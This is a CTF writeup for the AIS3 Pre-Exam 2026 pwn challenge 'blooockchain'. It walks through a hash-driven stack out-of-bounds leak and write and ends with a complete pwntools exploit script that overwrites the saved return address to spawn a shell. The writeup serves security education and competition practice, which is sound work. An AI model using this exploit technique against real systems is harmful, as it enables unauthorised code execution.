Skip to content
Suzu
13 min read

【Pwn】AIS3 Pre-Exam 2026 Writeup: blooockchain

A pwn writeup for blooockchain, covering raw SHA-256 digests, strncat, an OOB leak, and saved RIP overwrite.

Series
30 posts
View the complete series →
On this page

This one was a pretty fun pwn challenge because the bug is not just “send a long input and overwrite RIP”.

The program only lets us type lowercase hex strings, then it hashes the transaction with SHA-256 and appends the raw digest into a stack buffer. That small detail changes the whole exploit. We are not directly writing the payload. We are farming SHA-256 outputs until the digest bytes behave exactly how we want.

Opening slide for AIS3 Pre-Exam 2026 writeups.

Slide introducing the pwn category.

Slide introducing the blooockchain challenge.

First Look

The service is a small menu-based “blockchain ledger”:

Slide showing the blooockchain challenge menu with add, view, and exit options.

There are only three actions:

1. Add transaction record to ledger
2. View ledger
3. Exit cryptocurrency exchange

The binary protections look like this:

Slide showing checksec output for the challenge, including no canary, NX, PIE, SHSTK, and IBT.

The important part for me was:

ProtectionMeaning for the exploit
No canaryA stack overwrite is realistic.
PIEWe need a leak before jumping anywhere useful.
NXStack shellcode is not the route.
Full RELROGOT overwrite is not attractive.
SHSTK / IBTWe should avoid relying on a messy indirect branch trick.

So the rough plan is already visible: leak an address, compute libc, overwrite the saved return address, then return into a libc gadget.

Before writing the exploit, I first asked the decompiler output to be cleaned up and explained. That gave me a faster map of the variables and the menu flow, but the first guess was not quite right.

Slide showing the decompiled blockchain function and the initial analysis prompt.

The Fake Command Injection Bait

The core logic lives in blockchain(). When adding a transaction, the program asks for three fields:

From account
To account
Money amount

At first glance this line looks very suspicious:

Slide showing the first, wrong command-injection guess from the suspicious sha256sum popen call.

snprintf(cmd, 0x200, "echo -n \"%s\" | sha256sum", formatted);
popen(cmd, "r");

I also looked at it and thought, “okay, command injection?” But all three input fields must pass is_hex_str(), so we only get:

0-9a-f

No quotes, no semicolons, no spaces, no shell metacharacters. So that path is basically bait.

Slide showing the moment where the command injection idea gets rejected because inputs are hex-only.

The real bug is below that.

Where The Bug Actually Is

The transaction gets formatted, hashed, then appended into a local stack buffer:

Slide showing the important blockchain code: formatted transaction, SHA-256 parsing, local chain buffer, and counter.

The local ledger is only 0x200 bytes:

char chain[0x200];
memset(chain, 0, 0x200);
counter = 0;

Each transaction appends up to 0x20 bytes:

strncat(chain, hex, 0x20);
counter++;

That means 16 full digests exactly fill the buffer:

0x200 / 0x20 = 16

The program never checks whether counter is too large, so the 17th transaction can go past the end of chain.

There is also a read-side bug in “View ledger”:

Slide showing the view logic that prints counter * 0x20 bytes from chain.

It prints counter * 0x20 bytes, not the real string length. Once counter becomes 17, it prints 0x220 bytes and leaks 0x20 bytes after the stack buffer.

So we get both sides:

PrimitiveWhy it happens
OOB writestrncat(chain, hex, 0x20) can append past chain.
OOB leakView ledger trusts counter * 0x20.

Why The SHA-256 Digest Is The Whole Trick

The weird part is that hex is not an ASCII hex string. The program parses the sha256sum output into raw bytes.

So if the hash starts with:

ef c7 39 ...

then hex[0] is the byte 0xef, not the character 'e'.

That matters because strncat() treats its source as a C string:

Slide explaining strncat(dst, src, 0x20), including early stop on null bytes and final null terminator.

At this point the two bugs line up nicely: one path lets the digest move past the stack buffer, and the other path lets the program print past that same buffer.

Slide showing the two main primitives: strncat hitting the stack and View ledger leaking stack data.

For this challenge, null bytes in the digest are not annoying. They are the exploit.

I fixed from = "1" and to = "2", then brute forced money until the SHA-256 digest had the pattern I needed:

def tx_digest(from_acct, to_acct, money):
    msg = f"From: {from_acct}, To: {to_acct}, Money: {money}".encode()
    return hashlib.sha256(msg).digest()

These are the three useful digest shapes:

Digest shapeUse
no \x00 byteAppend the full 32 bytes and fill chain.
digest[0] == 0Append nothing, but still increment counter.
digest[0] == wanted and digest[1] == 0Append exactly one controlled byte.

Slide summarizing how different digest null-byte positions become fill, leak, and write primitives.

Because SHA-256 behaves randomly enough here, the brute force is cheap. A first-byte zero takes about 256 tries on average. A two-byte pattern takes about 65536 tries, which is still fine for this exploit.

Exploit Plan

The full exploit flow became four steps:

Slide showing the four exploit steps: fill ledger, create OOB leak, turn leak into write primitive, overwrite saved RBP and saved RIP.

  1. Fill chain with 16 full digests that contain no null bytes.
  2. Send one digest starting with \x00 to increase counter without changing the stack.
  3. Use “View ledger” to leak stack data and recover libc.
  4. Use one-byte digest writes to overwrite saved RBP and saved RIP.

Step 1: Fill The Ledger

The first stage is just making sure chain is completely full.

Slide showing the filler loop that finds 16 digests without null bytes.

The important condition is:

b"\x00" not in digest

If any null byte appears inside chain, future strncat() calls will stop there and append at the wrong place. So the exploit first finds 16 clean digests, sends all of them, and fills:

chain + 0x000  ~  chain + 0x1ff

After this, the next append has to keep scanning beyond the end of the buffer to find a null terminator.

Step 2: Leak The Stack

For the 17th transaction, I used a digest where:

digest[0] == 0

Slide showing the OOB leak transaction where the digest starts with zero and counter becomes 17.

Because the source string starts with \x00, strncat() appends no digest bytes. But the program still runs:

counter++;

So now:

chain   = still exactly the original 0x200 bytes
counter = 17

Then “View ledger” prints:

17 * 0x20 = 0x220 bytes

That leaks 0x20 bytes after chain.

The useful layout was:

Slide showing stack layout after chain, including saved RBP, saved RIP, caller frame data, and a libc return address.

The libc leak came from:

LEAK_RET_OFF = 0x2A578
libc.address = u64(mem[0x218:0x220]) - LEAK_RET_OFF

This offset matched the provided Ubuntu GLIBC 2.41.

Step 3: Make It A Byte-Wise Write

After the 16 full digests, chain has no null bytes. When strncat() searches for the end of the destination string, it walks past chain.

In this layout, the first useful null byte is at the low byte of saved RBP:

chain + 0x200

So the next append starts there.

Now if I find a digest like this:

digest[0] == wanted_byte
digest[1] == 0

strncat() writes exactly one byte, then appends its own null terminator after it:

current byte       = wanted_byte
current byte + 1   = 0x00

That new null terminator becomes the next write position. It is slow, but stable.

Slide showing byte-by-byte overwrite of saved RBP and saved RIP using digest[0] as the wanted byte and digest[1] as zero.

The write loop is basically:

for b in payload:
    tx = find_tx(lambda d, want=b: d[0] == want and d[1] == 0, nonce)
    add_tx(io, tx)

Step 4: Overwrite Saved RIP

The write starts at saved RBP:

chain + 0x200 : saved RBP
chain + 0x208 : saved RIP

So the payload is:

target = libc.address + 0x5BDB6
payload = b"A" * 8 + p64(target)[:6]

The first 8 bytes are just fake saved RBP. The next 6 bytes overwrite saved RIP.

I only wrote 6 bytes of the return address because userland addresses normally look like:

0x00007fxxxxxxxxxx

The high two bytes are already zero, and writing fewer bytes also avoids needing null bytes in the payload.

Slide showing the final saved RIP overwrite with the libc gadget target.

For the gadget, one_gadget suggested a few options, but the reliable target was:

libc + 0x5bdb6

It lands slightly earlier in the posix_spawn("/bin/sh", ...) path. Starting at the later suggested address did not set up enough state for my run, but 0x5bdb6 executes the setup instructions first, so the shell path works.

After all byte writes are done, choose exit:

io.sendlineafter(b"Enter your choice: ", b"3")

When blockchain() returns, RIP goes to the libc gadget.

Exploit Script

The exploit script is not very long, but the important part is to separate the digest search from the menu interaction. I kept the transaction fields fixed except for money, then used the hash output as the thing I actually controlled.

The digest helper looked like this:

FROM = "1"
TO = "2"

def tx_digest(money):
    msg = f"From: {FROM}, To: {TO}, Money: {money}".encode()
    return hashlib.sha256(msg).digest()

def find_tx(check, start=0):
    nonce = start
    while True:
        money = format(nonce, "x")
        digest = tx_digest(money)
        if check(digest):
            return money, digest, nonce
        nonce += 1

Then the menu wrapper just sends one transaction:

def add_tx(io, money):
    io.sendlineafter(b"Enter your choice: ", b"1")
    io.sendlineafter(b"From account: ", FROM.encode())
    io.sendlineafter(b"To account: ", TO.encode())
    io.sendlineafter(b"Money amount: ", money.encode())

For the leak, I used the ledger view and parsed the printed hex back into bytes:

def leak_chain(io):
    io.sendlineafter(b"Enter your choice: ", b"2")
    out = io.recvuntil(b"1. Add transaction", timeout=5)

    chain = out.split(b"Chain status:\n", 1)[1]
    chain = chain.split(b"1. Add transaction", 1)[0]

    hex_bytes = b"".join(
        line.strip()
        for line in chain.splitlines()
        if line.strip()
    )
    return bytes.fromhex(hex_bytes.decode())

The main exploit flow is basically the four slide steps translated into code:

LEAK_RET_OFF = 0x2A578
ONE_GADGET = 0x5BDB6

nonce = 0

# 1. Fill chain with 16 full 32-byte digests.
for _ in range(16):
    money, digest, nonce = find_tx(lambda d: b"\x00" not in d, nonce)
    add_tx(io, money)
    nonce += 1

# 2. Increase counter to 17 without appending anything.
money, digest, nonce = find_tx(lambda d: d[0] == 0, nonce)
add_tx(io, money)
nonce += 1

# 3. Leak stack data and recover libc.
mem = leak_chain(io)
libc.address = u64(mem[0x218:0x220]) - LEAK_RET_OFF

# 4. Walk saved RBP and saved RIP byte by byte.
target = libc.address + ONE_GADGET
payload = b"A" * 8 + p64(target)[:6]

for wanted in payload:
    money, digest, nonce = find_tx(
        lambda d, wanted=wanted: d[0] == wanted and d[1] == 0,
        nonce,
    )
    add_tx(io, money)
    nonce += 1

io.sendlineafter(b"Enter your choice: ", b"3")
io.interactive()

Full code:

#!/usr/bin/env python3
from pwn import *
import hashlib
import os
import re
import subprocess


context.binary = exe = ELF("./chal", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.log_level = args.LOG or "info"

LEAK_RET_OFF = 0x2A578
ONE_GADGET = 0x5BDB6


def tx_digest(from_acct: str, to_acct: str, money: str) -> bytes:
    msg = f"From: {from_acct}, To: {to_acct}, Money: {money}".encode()
    return hashlib.sha256(msg).digest()


def find_tx(pred, start=0):
    from_acct = "1"
    to_acct = "2"
    n = start
    while True:
        money = f"{n:x}"
        digest = tx_digest(from_acct, to_acct, money)
        if pred(digest):
            return from_acct, to_acct, money, digest, n
        n += 1


def start():
    if args.REMOTE or (args.HOST and args.PORT):
        return remote(args.HOST, int(args.PORT))
    target = "./chal_patched" if os.path.exists("./chal_patched") else "./chal"
    return process(target)


def maybe_auth(io, data: bytes) -> bytes:
    if b"ctfd token>" not in data.lower():
        return data

    token = args.TOKEN or os.environ.get("CTFD_TOKEN")
    if not token:
        raise RuntimeError("remote service requires CTFd auth; run with TOKEN=<your token>")

    io.sendline(token.encode())
    return io.recvuntil(b"stamp> ", timeout=15)


def maybe_solve_pow(io, data=b""):
    if not data:
        data = io.recv(timeout=1)
    if not data:
        return b""

    if b"hashcash" not in data.lower() and b"proof" not in data.lower():
        io.unrecv(data)
        return data

    if b"stamp> " not in data:
        data += io.recvuntil(b"stamp> ", timeout=15)

    text = data.decode(errors="ignore")
    bits = re.search(r"(?:-mb\s*|at least\s+|bits?\D+|difficulty\D+)(\d+)", text, re.I)
    resource = re.search(r"resource\s*[:=]\s*([!-~]+)", text, re.I)
    if not resource:
        match = re.search(r"hashcash\s+-mb\s+\d+\s+([!-~]+)", text, re.I)
        resource = match
    if not bits or not resource:
        log.warning("PoW prompt was not recognized; continuing without solving it")
        io.unrecv(data)
        return data

    stamp = subprocess.check_output(
        ["python3", "pow_solver.py", bits.group(1), resource.group(1)],
        text=True,
    ).strip()
    io.sendline(stamp.encode())
    rest = io.recvuntil(b"Enter your choice: ", timeout=15)
    if rest:
        io.unrecv(rest)
    return data + rest


def add_tx(io, tx):
    from_acct, to_acct, money, _, _ = tx
    io.sendlineafter(b"Enter your choice: ", b"1")
    io.sendlineafter(b"Enter From account: ", from_acct.encode())
    io.sendlineafter(b"Enter To account: ", to_acct.encode())
    io.sendlineafter(b"Enter Money amount: ", money.encode())


def leak_chain(io):
    io.sendlineafter(b"Enter your choice: ", b"2")
    out = io.recvuntil(b"1. Add transaction", timeout=5)
    chain = out.split(b"Chain status:\n", 1)[1].split(b"1. Add transaction", 1)[0]
    hex_bytes = b"".join(line.strip() for line in chain.splitlines() if line.strip())
    return bytes.fromhex(hex_bytes.decode())


def main():
    nonce = 0
    filler = []
    for _ in range(16):
        tx = find_tx(lambda d: b"\x00" not in d, nonce)
        filler.append(tx)
        nonce = tx[4] + 1

    leak_tx = find_tx(lambda d: d[0] == 0, nonce)
    nonce = leak_tx[4] + 1

    io = start()
    data = io.recv(timeout=2)
    data = maybe_auth(io, data)
    maybe_solve_pow(io, data)

    for tx in filler:
        add_tx(io, tx)
    add_tx(io, leak_tx)

    mem = leak_chain(io)
    libc.address = u64(mem[0x218:0x220]) - LEAK_RET_OFF
    target = libc.address + ONE_GADGET
    log.success(f"libc base = {libc.address:#x}")
    log.success(f"one gadget = {target:#x}")

    payload = b"A" * 8 + p64(target)[:6]
    if b"\x00" in payload:
        raise RuntimeError(f"payload contains NUL byte: {payload.hex()}")

    for b in payload:
        tx = find_tx(lambda d, want=b: d[0] == want and d[1] == 0, nonce)
        nonce = tx[4] + 1
        add_tx(io, tx)

    io.sendlineafter(b"Enter your choice: ", b"3")
    if args.CMD:
        io.sendline(args.CMD.encode())
        print(io.recvall(timeout=3).decode(errors="replace"))
    else:
        io.interactive()


if __name__ == "__main__":
    main()

The nice thing about this script is that every write is deterministic after the digest is found. There is no guessing during the actual overwrite. The brute force happens locally, then the remote service only receives normal-looking hex transaction fields.

Remote Details

python3 solve.py \
  HOST=chals1.ais3.org \
  PORT=21337 \
  TOKEN='<your ctfd token>' \
  CMD='cat flag.txt; exit'

Output:

Bye bye!
AIS3{S1Mpl3_BLoCKcHa1n_N0t_$Impl3_PWn}

Share this page